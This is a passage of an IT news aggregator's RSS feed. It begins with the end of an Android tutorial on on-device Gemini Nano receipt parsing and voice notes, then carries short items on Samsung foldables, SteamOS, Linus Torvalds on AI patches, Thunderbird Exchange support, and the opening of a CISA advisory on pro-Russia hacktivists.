<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// ksp("com.google.mlkit:genai-schema-compiler:1.0.0-alpha1")

@Generable("Information extracted from an expense receipt")
data class ParsedReceipt(
  @Guide("Generated title for the expense less than 6 words. Based on restaurant or activity name.")
  val title: String,
  @Guide("Total amount of the expense. Look for values at the bottom and words like total or balance due.")
  val amount: Double,
  @Guide("Type of expense", enumValues = ["travel", "food", "shopping", "entertainment", "other"])
  val category: String,
)

val prompt = "Determine if the image is a receipt or expense. 
    If it is NOT a receipt or expense, output the text 'NOT_A_RECEIPT'.
    Otherwise, parse the receipt information."

val request = generateContentRequest(ImagePart(bitmap), TextPart(prompt)) {}
val requestWithStructuredOutput = generateTypedContentRequest(request, ParsedReceipt::class)

// Define the configuration for Gemini Nano 4 E4B preview model  
// When selecting models, you can specify which performance charactertists are most important
//  for your use case. Use ModelPreference.FULL when you want to prioritize reasoning power over speed. 
//  Use ModelPreference.FAST when complex logic is not required and latency is a priority.
val previewFullConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FULL
    }
}

val geminiNano4BPreviewModel = Generation.getClient(previewFullConfig)
val response = geminiNano4BPreviewModel.generateContent(requestWithStructuredOutput)
val parsedReceipt: ParsedReceipt? = response.candidates.firstOrNull()?.response</code></pre>

<h2>Multimodal input</h2>

<p>Lastly, to help users record audio memos during the trip, let’s build a fully on-device voice notes feature. Using <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit’s Speech Recognition API</a>, we’ll enable users to record short voice notes that are automatically transcribed to text. With the transcribed text, we’ll use ML Kit’s Prompt API to identify which trip activity is associated with the recorded voice note, letting users easily recap their trip as they scroll through the trip’s itinerary.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/s2499/Screenshot_20260702_115529.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/w189-h400/Screenshot_20260702_115529.png" width="189"></a></div>

<p><em>The Roman holiday itinerary shows voice note extracts.</em></p>

<p>The <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit GenAI Speech Recognition API </a>allows you to transcribe audio content to text fully on-device using two distinct modes. <b>Basic mode</b> uses a traditional on-device speech recognition model and is available on most Android devices with API level 31 and higher. <b>Advanced mode</b> uses Gemini Nano to offer broader language coverage and better quality, and is currently supported on Pixel 10 devices.</p>

<p>For our feature we combine the Speech Recognition API with the ML Kit GenAI Prompt API:</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// implementation("com.google.mlkit:genai-speech-recognition:1.0.0-alpha1")

val tripEvents = ... 

// Set up speech recognition
val speechRecognizerOptions =
    speechRecognizerOptions {
        locale = Locale.US
        preferredMode = SpeechRecognizerOptions.Mode.MODE_ADVANCED
    }
val speechRecognizer: SpeechRecognizer = SpeechRecognition.getClient(speechRecognizerOptions)

suspend fun transcribeVoiceNote(recognizer: SpeechRecognizer) {
    // Display partial text as the user is recording audio
    var partialTextResponse = ""

    // Display the full text once user is finished recording audio
    var transcription = ""

    val request: SpeechRecognizerRequest
        = speechRecognizerRequest { audioSource = AudioSource.fromMic() }
    recognizer.startRecognition(request).collect { response -&gt;
        when (response) {
            is SpeechRecognizerResponse.PartialTextResponse -&gt; {
                partialTextResponse = response.text
            }
            is SpeechRecognizerResponse.FinalTextResponse -&gt; {
                transcription = response.text
                processAndCategorizeVoiceNote(transcription, tripEvents)
            }
        }
    }
}

fun processAndCategorizeVoiceNote(transcribedVoiceNote: String, events: List<event>) {
    val prompt = "Given the voice note $transcribedVoiceNote
     and the following events for this trip: $events, rewrite this transcription
     to remove filler words. Then, identify which events from the
     list this rewritten transcription matches to."

     // Utilize ML Kit's Prompt API to process voice note and tag it with the relevant trip activities
     Generation.getClient().generateContent(prompt)
}</event></code></pre>

<h2>Conclusion</h2>

<p>Using ML Kit’s GenAI APIs, we were able to take advantage of Gemini Nano to develop fully on-device intelligent features for the JetPacker app, and provide an improved user experience without any additional cloud costs.</p>

<p>Check out the full source code for <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">Jetpacker on Github</a>, and watch the video <a href="https://www.youtube.com/watch?v=_iuXykdlTkk">Build Intelligent Android apps with Google’s AI</a> to learn more about how to integrate intelligent features directly into your app using on-device models, cloud-powered reasoning, and the latest agentic frameworks.</p><h2>Learn more</h2>

<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1:</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2 (this post!):</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b> </a>Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>All code snippets in this blog post follow the following copyright notice:<br>
</p><pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre><p></p></div></div>]]></content:encoded>
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<title><![CDATA[Optimize your apps for the next generation of Samsung Galaxy devices]]></title>
<description><![CDATA[Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer ExperienceToday at Galaxy Unpacked, Samsung unveiled its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, ...]]></description>
<link>https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:16 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV-c747avSj9Z8JO4DTK4kSfO3SjSpd5aTuVvR_TBeD3bXV6cc8lzNLGrWCngNXdyZBeiNjQqwQZCcU4QCrovwL99gu0t5bQrlTXa0PIBGIivwyS8y226MgeraphZr4VITWYe0x7ckFto0dsD8rBLM1J_P3dV0CBj5Ctlwm8jsgAPZA7W2XnKnRz59H9I/s2049/MM_Adaptive_and_device_Meta%20(1).png"><div>



<div><div class="separator"><i>Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer Experience</i></div></div><div><i><br></i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s4210/MM_Adaptive_and_device_Blog.png"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s1600/MM_Adaptive_and_device_Blog.png"></a></div><br><i><br></i><p>Today at Galaxy Unpacked, Samsung <a href="https://blog.google/products-and-platforms/platforms/android/galaxy-unpacked-2026" target="_blank">unveiled</a> its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, and device postures your app needs to support is expanding once again.</p>

<p>With devices like the Galaxy Z Fold8, the ecosystem is expanding to include hardware with a landscape-first natural orientation and a wider aspect ratio in its main display state. Whether a user is unfolding a large display, flipping open a cover screen, or glancing at their wrist, users expect a flawless experience. To help you meet this moment, we’re sharing actionable guidance and new tooling updates to enable you to build adaptively proactively.</p>

<div class="separator">
  </div>

<h2>Rethink layout architecture for dynamic displays, including ultra-wide foldables</h2>

<p>Building for the latest foldables means dropping assumptions about display orientation and size. This is especially true for the Galaxy Z Fold8, which adopts an ultra-wide display, adding to the variety of aspect ratios to account for.  Devices with this landscape-first natural orientation show the limitations of hardcoded layout rules when users unfold the device. That’s why we’ve introduced <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">dedicated guidance for building for landscape foldables and trifolds.</a></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1302/Samsung%20fold8%20phones.png"><img border="0" data-original-height="442" data-original-width="1302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1600/Samsung%20fold8%20phones.png"></a></div><br><p>To build a responsive UI that handles these physics seamlessly, focus on the following core pillars:</p>

<p></p><ul><li><b>Build fluid, adaptive layouts: </b>Wide aspect ratios and compact vertical heights require fluid UIs that scale responsively. Our updated <a href="https://developer.android.com/design/ui/mobile/guides/layout-and-content/adapt-layout" target="_blank">adaptive design guidance</a> advises considering the window class width first to determine layout changes, then adjusting for height. To let individual components fluidly adapt to the grid, structure your layout using flexible containers that allow your content to automatically wrap, span, and reflow. For design inspiration browse our <a href="https://developer.android.com/design/ui/gallery/social/pawparazzi" target="_blank">adaptive sample app</a> and <a href="https://developer.android.com/design/ui/gallery/social/dual-screen?hl=en" target="_blank">dual-screen</a> design galleries.</li><li><b>Track actual app space:</b> Your app's display space rarely matches the physical device size, especially on an ultra-wide screen during multi-window, split-screen, or multitasking states. Sometimes even the orientations differ. Leverage <a href="https://developer.android.com/develop/adaptive-apps/guides/use-window-size-classes?hl=en" target="_blank">Window Size Classes</a> using the <a href="https://developer.android.com/blog/posts/jetpack-window-manager-1-5-is-stable" target="_blank">Jetpack Window Manager library</a> to calculate the exact space your app occupies.</li></ul><div><br></div>
  
<div class="separator">
  </div></div><div class="separator"><br></div><div class="separator"><div class="separator"><ul><li><b>Leverage the latest Jetpack Compose Update: </b>Start by adopting the stable <a href="https://android-developers.googleblog.com/2026/04/jetpack-compose-april-2026-updates.html" target="_blank">Jetpack Compose April '26 release</a> (<a href="https://developer.android.com/develop/ui/compose/bom" target="_blank">Compose BOM</a> version <code>2026.04.01</code>).Take advantage of the new structural layout tools to manage complex architectures. The new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid" target="_blank">Grid</a> API allows you to define dynamic tracks and column spans without the performance overhead of a lazy list. Pair Grid with the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox" target="_blank">FlexBox</a> layout API to easily handle multi-axis alignment and dynamic item wrapping. You can also use the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/mediaquery" target="_blank">MediaQuery</a> API to adapt your UI to its environment, using conditions to detect signals like device posture, window size, and keyboard types. </li><li><b>Make your app fold aware: </b>Use the Jetpack WindowManager library, which provides an API surface for foldable device window features such as folds and hinges. When your app is<a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/make-your-app-fold-aware" target="_blank"> fold aware</a>, it can adapt its layout to avoid placing important content in the area of folds or hinges and use folds and hinges as natural separators.</li><li><b>Maintain app continuity:</b> Avoid breaking the user journey when the device configuration shifts. Retain your UI state using <a href="https://developer.android.com/topic/libraries/architecture/viewmodel?hl=en" target="_blank">ViewModel</a> to ensure smooth transitions when a user folds or unfolds their device.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/s1920/7.22_MorphToTablet_Gif.gif"><img border="0" data-original-height="1080" data-original-width="1920" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/w640-h360/7.22_MorphToTablet_Gif.gif" width="640"></a></div><div><h2>Ensure seamless camera capture on foldable devices</h2><div>Camera implementation on foldables brings unique hardware quirks. Moving from a compact outer display to an expanded inner display introduces distinct layout aspect ratios while device rotation remains unchanged. If an app assumes a fixed portrait relationship between the camera sensor and the device layout, the app will likely suffer from sideways, stretched, or cropped previews during these folding transitions.</div><div> </div><div>When optimizing your app's media pipeline, migrate your capture experiences to <a href="https://developer.android.com/media/camera/camerax" target="_blank">CameraX</a> using the CameraX migration <a href="https://github.com/android/skills/blob/main/camera/camerax/SKILL.md">skill</a>. The library’s <a href="https://developer.android.com/reference/kotlin/androidx/camera/view/PreviewView" target="_blank">PreviewView</a> automatically handles sensor orientation, device rotation, and scaling behind the scenes. This guarantees a clean, stable preview regardless of how the user holds or positions the device. If you are maintaining an existing Camera2 codebase, integrate the <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables#solution_2_cameraviewfinder" target="_blank">CameraViewfinder</a> library to apply these complex aspect ratio and rotation transformations automatically without needing a total architecture overhaul.</div></div><h2>Extend glanceable interactions to Wear OS 7</h2><div>The opportunity to build for this new generation of devices extends right to the wrist. Launching with Wear OS 7, Wear Widgets give you a fresh surface to provide users with instant, glanceable access to their essential updates. You can build these highly expressive experiences using <a href="https://developer.android.com/jetpack/androidx/releases/glance-wear" target="_blank">Jetpack Glance</a> and <a href="https://developer.android.com/jetpack/androidx/releases/compose-remote" target="_blank">RemoteCompose</a>. Crucially, Widgets built with this framework can now populate multi-widget tiles that were previously reserved for first-party widgets. </div><div><br></div>
    
 <div class="separator">
  </div><div class="separator"><h2>Build intelligent features </h2><div class="separator"><a href="https://blog.google/products-and-platforms/platforms/android/gemini-intelligence/" target="_blank">Gemini intelligence </a>already completes tasks on users’ behalf, and you can <a href="https://developer.android.com/ai/appfunctions?_gl=1*1jms098*_up*MQ..*_ga*MjY0OTY0MDI3LjE3ODQzMzI1NDk.*_ga_6HH9YJMN9M*czE3ODQzMzI1NDkkbzEkZzAkdDE3ODQzMzI1NDkkajYwJGwwJGgxNjE0MTMzNjEz" target="_blank">experiment</a> with the intelligence system by sharing your apps capabilities. </div><div class="separator"><br></div><div class="separator">Samsung’s new foldable devices come with Gemini Nano 4, our latest on-device model. Nano 4 provides support for over 140 languages, better multimodal understanding, and <a href="https://developers.google.com/ml-kit/release-notes#july_14_2026" target="_blank">much more</a>. Use <a href="https://developers.google.com/ml-kit/genai/prompt/android" target="_blank">ML Kit’s Prompt API</a> with advanced features like s<a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output" target="_blank">tructured output</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/thinking-mode" target="_blank">thinking mode</a> to build intelligent features on-device. </div><div class="separator"><h2>Start optimizing today</h2><div class="separator">The tools and frameworks are ready to help you optimize your app for all screen sizes. Begin by exploring our guidance for <a href="https://developer.android.com/develop/adaptive-apps" target="_blank">building adaptive apps </a>to learn more about core adaptive design principles. </div><div class="separator"><br></div><div class="separator">To dive deeper, check out our comprehensive <a href="https://www.youtube.com/playlist?list=PLD2U7gd1-ieo" target="_blank">YouTube playlist</a>. Finally, ensure your app delivers a flawless, premium experience on the newest form factors by reviewing our dedicated quality guidelines for <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">trifolds and landscape foldables</a> and <a href="https://developer.android.com/design/ui/wear/guides/get-started?hl=en" target="_blank">WearOS</a>. </div><div class="separator"><br></div><div class="separator">Unfold the future today! </div></div></div></div></div></div>]]></content:encoded>
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<title><![CDATA[Valve Will Finally Let You Build Your Own Steam Machine With SteamOS For Desktop]]></title>
<description><![CDATA[With the price of the new Steam Machine starting at $1,049, you might want to consider making your own Steam Machine instead. An anonymous reader quotes a report from The Verge: Valve says that "starting with the SteamOS 3.8 release, you can put together your own Steam Machine using whatever PC p...]]></description>
<link>https://tsecurity.de/de/3693463/linux-tipps/valve-will-finally-let-you-build-your-own-steam-machine-with-steamos-for-desktop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693463/linux-tipps/valve-will-finally-let-you-build-your-own-steam-machine-with-steamos-for-desktop/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:56 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[With the price of the new Steam Machine starting at $1,049, you might want to consider making your own Steam Machine instead. An anonymous reader quotes a report from The Verge: Valve says that "starting with the SteamOS 3.8 release, you can put together your own Steam Machine using whatever PC parts you want." SteamOS 3.8.10 launched last week with a slew of updates, including "improved compatibility with recent Intel and AMD platforms." Alongside that improved compatibility, Valve is giving gamers the green light to install SteamOS on their own desktops. In an interview with The Verge, Valve's Pierre-Loup Griffais said Valve has been "rolling out improvements to [SteamOS] so it's more compatible with desktop hardware," including eventual support for Nvidia graphics. Griffais says Valve has "a growing team" working on Nvidia driver support for SteamOS, adding, "We're collaborating with Nvidia very closely." While he mentioned that Nvidia support might not come this year, Griffais emphasized that "it's certainly something that we're working on in the background."
 
It's technically been possible to run SteamOS on your own hardware for a while now, but compatibility has been mostly limited to AMD systems. So far installing it has also required using a Steam Deck recovery image, a process that, speaking from experience, is much less straightforward than the installation process for most other Linux distributions. Trying to run SteamOS on Intel or Nvidia hardware has not been easy so far. According to Griffais, Valve is working to change that, which could mean that down the line, you'll be able to run SteamOS on just about any gaming PC hardware you want, including Nvidia.
 
For the more immediate future, Griffais says SteamOS in its current state should offer a "good experience" on console-like PC setups: "If you have something that is similar to the use case of a Steam Machine, where you have a PC that's gonna be plugged into a TV, and has a single hard drive that you're not going to try and dual boot [] you can put SteamOS on there, and you'll have an experience that is very similar to a Steam Deck docked or a Steam Machine, with some caveats, of course," like a lack of HDMI-CEC support. But "the core bits of the experience are there. The SteamOS graphics driver, the shader precompilation [...] you can get at all of that with the SteamOS." Griffais says SteamOS does not yet offer an easy way to dual-boot alongside Windows or another operating system, but envisions "a time where it's a better experience to install on your desktop and have it coexist with a different operating system."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Valve+Will+Finally+Let+You+Build+Your+Own+Steam+Machine+With+SteamOS+For+Desktop%3A+https%3A%2F%2Fgames.slashdot.org%2Fstory%2F26%2F06%2F22%2F1922207%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
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</div><p><a href="https://games.slashdot.org/story/26/06/22/1922207/valve-will-finally-let-you-build-your-own-steam-machine-with-steamos-for-desktop?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Linus Torvalds on AI, Junk Patches, Humans, and Godzilla]]></title>
<description><![CDATA[Linus Torvalds once said LLMs might bring a 10X increase to programmer productivity. But speaking at Open Source Summit India 2026, he now says that number was "not scientific,"
reports ZDNet. "That was pulled out of my ass number, obviously."


Today, he continued, "we're at the point where hope...]]></description>
<link>https://tsecurity.de/de/3693456/linux-tipps/linus-torvalds-on-ai-junk-patches-humans-and-godzilla/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693456/linux-tipps/linus-torvalds-on-ai-junk-patches-humans-and-godzilla/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:40 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Linus Torvalds once said LLMs might bring a 10X increase to programmer productivity. But speaking at Open Source Summit India 2026, he now says that number was "not scientific,"
reports ZDNet. "That was pulled out of my ass number, obviously."


Today, he continued, "we're at the point where hopefully it creates more productivity than it takes away," but "we certainly saw more junk being generated by LLMs than we saw useful code up until the like early this year.... it can actually be a huge drain on resources when it takes humans a lot of effort to figure out that, hey, this machine-generated report was not true." Even now, he said, "most of the good ones require more than just the LLM," because "we've had to push back quite a bit... if you find a bug with an LLM, it's not enough to just ask the LLM to make a bug report and then throw it over the fence to us. We want to see a suggested patch; we want to see the human who ran the LLM act as a kind of back-and-forth." 

Torvalds described many AI-generated patches as "mindless band-aid kind of patches... they may fix the immediate problem, but the kind of bug remains, and it just is waiting in the hallway to hit you in another place." For his own toy projects, he uses LLMs as prototypers: "I use them as a way to prototype things... quite often the code is not usable in that form, but it's a great way to try something out," while insisting that for kernel-level fixes, "LLMs, in my experience, have not been at that level yet." 

Torvalds acknowledged that some AI-found issues have been "absolutely, stunningly, I mean, interesting in a painful kind of way," especially security problems that "show up in the technology press two days later." Despite the embarrassment, he said, "I'm very much not a shoot-the-messenger kind of person. I think we're much better off with LLMs finding bugs, even when they are embarrassing, and they are things that we should probably have found two decades ago."

 

Torvalds also said he's using AI "for my own toy projects... Every time I travel to some new place, and this is the first time I've been to India, I send the kids pictures of where I am, and for some strange reason, Godzilla seems to follow me around and gets added to those pictures." 

ZDNet notes that Torvalds concluded, "There are many useful and less useful uses for AI," and "I think Godzilla is a great place to stop." 

Thanks to Slashdot reader joshuark for sharing the article.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Linus+Torvalds+on+AI%2C+Junk+Patches%2C+Humans%2C+and+Godzilla%3A+https%3A%2F%2Flinux.slashdot.org%2Fstory%2F26%2F07%2F12%2F2053201%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
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</div><p><a href="https://linux.slashdot.org/story/26/07/12/2053201/linus-torvalds-on-ai-junk-patches-humans-and-godzilla?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Community Office Hours: Exchange Email Support]]></title>
<description><![CDATA[Author: Mozilla Thunderbird - Bewertung: 15x - Views:697 Welcome to the last Community Office Hours of 2025! In this edition, Heather and Monica welcome Sr. Software Engineer Brendan Abolivier and Software Engineer Eleanor Dichary from the Desktop Team. We’re discussing the recent Exchange Web Su...]]></description>
<link>https://tsecurity.de/de/3693439/video/community-office-hours-exchange-email-support/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693439/video/community-office-hours-exchange-email-support/</guid>
<pubDate>Sat, 25 Jul 2026 10:05:14 +0200</pubDate>
<category>🎥 Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Mozilla Thunderbird - Bewertung: 15x - Views:697 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/w986NrVHBM0?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Welcome to the last Community Office Hours of 2025! In this edition, Heather and Monica welcome Sr. Software Engineer Brendan Abolivier and Software Engineer Eleanor Dichary from the Desktop Team. We’re discussing the recent Exchange Web Support for email that just landed in Thunderbird Monthly Release 145. Learn how the team landed this feature and discover future plans for Calendar and Contact support, as well as Graph API<br />
<br />
Chapters:<br />
00:00 Intro<br />
03:50 What is Microsoft Exchange<br />
05:07 Why it took so long to add Exchange<br />
14:33 Exchange in Thunderbird 145<br />
18:20 Config options and authorization<br />
27:10 Attachments and storage<br />
32:30 Sync and folder operations<br />
36:10 Filters and notification<br />
39:10 Search<br />
40:20 Feedback and bug reporting<br />
43:00 Mobile and Graph API<br />
49:09 JMAP and future protocols<br />
55:50 Calendar and address book<br />
59:57 Roadmap and EWS deprecation<br />
62:23 Closing<br />
<br />
Resources:<br />
Exchange Mozilla Support Article: https://support.mozilla.org/en-US/kb/thunderbird-and-exchange<br />
Exchange Mozilla Wiki Post (with call for testing): https://wiki.mozilla.org/Thunderbird%3AExchange<br />
Reach out on Matrix: https://matrix.to/#/#thunderbird:mozilla.org<br />
Bugzilla (use Exchange component for reporting): https://bugzilla.mozilla.org/enter_bug.cgi?product=MailNews%20Core<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[BOFH: This printer engineer knows every trick in the book]]></title>
<description><![CDATA[But so does this customer]]></description>
<link>https://tsecurity.de/de/3693386/it-nachrichten/bofh-this-printer-engineer-knows-every-trick-in-the-book/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693386/it-nachrichten/bofh-this-printer-engineer-knows-every-trick-in-the-book/</guid>
<pubDate>Sat, 25 Jul 2026 09:24:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[But so does this customer]]></content:encoded>
</item>
<item>
<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
